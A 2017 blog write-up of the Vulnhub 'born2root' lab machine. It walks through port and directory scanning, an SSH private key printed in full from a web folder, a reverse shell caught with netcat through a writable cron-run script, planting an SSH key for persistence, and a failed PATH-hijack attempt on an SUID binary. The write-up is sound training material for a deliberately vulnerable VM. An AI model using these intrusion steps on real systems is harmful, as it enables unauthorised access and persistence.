Vulnhub, born2root

Posted on 20 Nov 2017 in security • 5 min read

Born2root homepage

After the bulldog machine I worked on the born2root one. A simple boot2root machine by Hadi Mene.

Discovery

First we scan all port of the VM:

root@kalili:~# nmap -sSV 10.0.2.5

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-14 15:43 CET
Nmap scan report for 10.0.2.5
Host is up (0.00036s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: 08:00:27:84:43:C4 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds

So we got a SSH service on port 22 and a web service on the port 80. Let's see what the website propose:

Web

The website simulate a company selling security services:

Landing page

The robots.txt file contain 2 url:

User-agent: *
Disallow: /wordpress-blog
Disallow: /files

The /wordpress-blog lead us to a simple image:

Troll

The /files give us an empty directory listing:

Directory listing

We launch dirb against the site:

root@kalili:~# dirb http://10.0.2.5)
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Nov 14 15:45:36 2017
URL_BASE: http://10.0.2.5/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.0.2.5/ ----
==> DIRECTORY: http://10.0.2.5/files/
==> DIRECTORY: http://10.0.2.5/icons/
+ http://10.0.2.5/index.html (CODE:200|SIZE:5651)
==> DIRECTORY: http://10.0.2.5/manual/
+ http://10.0.2.5/robots.txt (CODE:200|SIZE:57)
+ http://10.0.2.5/server-status (CODE:403|SIZE:296)

---- Entering directory: http://10.0.2.5/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.5/icons/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.5/manual/ ----
==> DIRECTORY: http://10.0.2.5/manual/da/
<SNIP>

It found an interesting directory: icons it contains a lot of icon and a file VDSoyuAXiO.txt:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAoNgGGOyEpn/txphuS2pDA1i2nvRxn6s8DO58QcSsY+/Nm6wC
tprVUPb+fmkKvOf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0
FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx
5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9ONmj1ZcIp0evVJvUul34zuJZ5mDv
DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI
/P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E
LL/SvH3oGQd16xh9O2FyR4YIQMWQKwb7/OgOfEpWjpPf/dT+sK9eypnoDiZkmYhw
+rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS
sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta
lV0G03unv/v7OK3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4JO2ITAn
kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy
FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX
4+ly0CBUzDkkedY1tVYK7TuH7/tOjh8M1BLa+g+Csb/OWLuMKmpoqyaejmoKkLnB
WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC
fGvogWRYUY07OLE/b7oMVOdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l
Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s
KOf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq
C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzOdK8LzaHDVb/1aDR0r2MqyfAnJ
kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbOxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v
VhGVGEML0Z+T4ucSNQEOAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBObS+J
4ypkMF37BOghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH
dsRvA2/Gx3/X6Eur6BDV61to3OP6+zqh3TuWU6OUadt+nHIANqj93e7jy9uI7jtC
XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR
2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43
rlJ7dOFH7OFQbGp51ub88M1VOiXR6/fU8OMOkXfi1KkETj/xp6t+
-----END RSA PRIVATE KEY-----

This looks like an ssh private key. We extract the associated public key:

openssl rsa -in .ssh/id_rsa -pubout -out key.pub

And we convert it to ssh format:

ssh-keygen -f key.pub -i -mPKCS8

The we can copy the private key to ~/.ssh/id_rsa and the public key to ~/.ssh/id_rsa.pub

But we have no idea of the associated user. We try the one listed on the site main page:

  • Martin N => martin, martinn, nmartin
  • Hadi M => hadi, hadim, mhadi
  • Jimmy S => jimmy, jymmys, sjimmy

And we got a shell with the first one: martin. The server is asking us for a password, but we already got a shell. Entering anything will give use the focus and CTRL-C it will give us a simple error message.

root@kalili:~# ssh 10.0.2.5 -i .ssh/id_rsa -lmartin

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Nov 14 15:57:00 2017 from 10.0.2.15

READY TO ACCESS THE SECRET LAB ?

secret password : ^CTraceback (most recent call last):
  File "/var/tmp/login.py", line 8, in <module>
    password = raw_input("secret password : ")
KeyboardInterrupt

The program doesn't seems to work as intended:

martin@debian:~$ cat /var/tmp/login.py
#!/usr/bin/python

import os

print("")
print("READY TO ACCESS THE SECRET LAB ? ")
print("")
password = raw_input("secret password : ")

if (password) == "secretsec" or "secretlab" :
  print("WELCOME ! ")
else:
  print("GET OUT ! ")
  os.system("pkill -u 'martin'")

Privilege elevation

As always a bit of reconnaissance is needed.

martin@debian:~$ ls -alRh /home/
/home/:
<SNIP>

/home/hadi:
total 60K
drwxr-xr-x 3 hadi hadi 4,0K juin   5 13:40 .
drwxr-xr-x 5 root root 4,0K juin   9 20:17 ..
-rw-r--r-- 1 hadi hadi  220 avril 26  2017 .bash_logout
-rw-r--r-- 1 hadi hadi 3,5K avril 26  2017 .bashrc
-rwxr-xr-x 1 root root 5,3K mai   10  2017 buff
-rw-r--r-- 1 root root 1,1K mai   10  2017 buff.c
-rw-r--r-- 1 root root  148 juin   5 13:25 example.c
-rw------- 1 root root 2,1K juin   5 13:40 .gdb_history
-rwxr-xr-x 1 root root 5,9K juin   5 13:38 overflow
-rw-r--r-- 1 root root   19 mai   10  2017 peda-session-buff.txt
-rw-r--r-- 1 root root    5 juin   5 13:40 peda-session-overflow.txt
-rw-r--r-- 1 hadi hadi  675 avril 26  2017 .profile
drwxr-xr-x 2 hadi hadi 4,0K mai    1  2017 .ssh
<SNIP>

Okay we got a program buff owned by root and and file buff.c readable by anybody but there is no suid, so no need to bother here. martin@debian:/home/hadi$ ls -laRh /etc/cron.d doesn't get us something useful but cat /etc/crontab seems usable:

martin@debian:/home/hadi$ cat /etc/crontab 
<SNIP>
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5   * * * *   jimmy   python /tmp/sekurity.py

Of course the script launch by jimmy in tmp doesn't exist. We create one with a simple python reverse shell pentest monkey:

root@kalili:~# nc -l -p 1234
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(jimmy) gid=1002(jimmy) groupes=1002(jimmy)

We add our ssh key to be able to connect with ssh:

$ cd /home/jimmy
$ mkdir .ssh
$ cat /home/martin/.ssh/authorized_keys > .ssh/authorized_keys

There is binary networker owned by root with an suid in our home directory (well jimmy's):

jimmy@debian:~$ ls -al
total 36
drwx------ 3 jimmy jimmy 4096 nov.  17 10:30 .
drwxr-xr-x 5 root  root  4096 juin   9 20:17 ..
-rw-r--r-- 1 root  root    16 juin   9 20:40 .bash_history
-rw-r--r-- 1 jimmy jimmy  220 juin   8 21:07 .bash_logout
-rw-r--r-- 1 jimmy jimmy 3515 juin   8 21:07 .bashrc
-rwsrwxrwx 1 root  root  7496 juin   9 20:00 networker
-rw-r--r-- 1 jimmy jimmy  675 juin   8 21:07 .profile
drwxr-xr-x 2 jimmy jimmy 4096 nov.  17 10:31 .ssh

It seems to give information about the network configuration, ping localhost and and echo "echo linux tool version 5":

jimmy@debian:~$ ./networker 
*** Networker 2.0 *** 
eth0      Link encap:Ethernet  HWaddr 08:00:27:84:43:c4  
    inet adr:10.0.2.5  Bcast:10.0.2.255  Masque:255.255.255.0
    adr inet6: fe80::a00:27ff:fe84:43c4/64 Scope:Lien
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
    RX packets:3934 errors:0 dropped:0 overruns:0 frame:0
    TX packets:2705 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 lg file transmission:1000 
    RX bytes:331724 (323.9 KiB)  TX bytes:398743 (389.3 KiB)
    Interruption:9 Adresse de base:0xd020

lo        Link encap:Boucle locale  
    inet adr:127.0.0.1  Masque:255.0.0.0
    adr inet6: ::1/128 Scope:Hôte
    UP LOOPBACK RUNNING  MTU:65536  Metric:1
    RX packets:6 errors:0 dropped:0 overruns:0 frame:0
    TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 lg file transmission:0 
    RX bytes:504 (504.0 B)  TX bytes:504 (504.0 B)

PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.012 ms

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.012/0.012/0.012/0.000 ms
Done 
echo linux tool version 5
Vous avez du nouveau courrier dans /var/mail/jimmy

Getting the strings in the program give us the following:

jimmy@debian:~$ strings networker 
<SNIP>
*** Networker 2.0 *** 
/sbin/ifconfig
/bin/ping -c 1  localhost 
Done 
echo 'echo linux tool version 5'
<SNIP>

So ping and ifconfig seem to be loaded from an absolute path but not the echo command. We shall be able to make our own echo binary and change the path to execute our binary (a reverse shell) instead of echo.

But the binary use the absolute path and we didn't achieve to be root. Let me know if you were able to get root from there (no bruteforce on the hadi user :D).

Thanks to Hadi for the VM and thanks to vulnhub.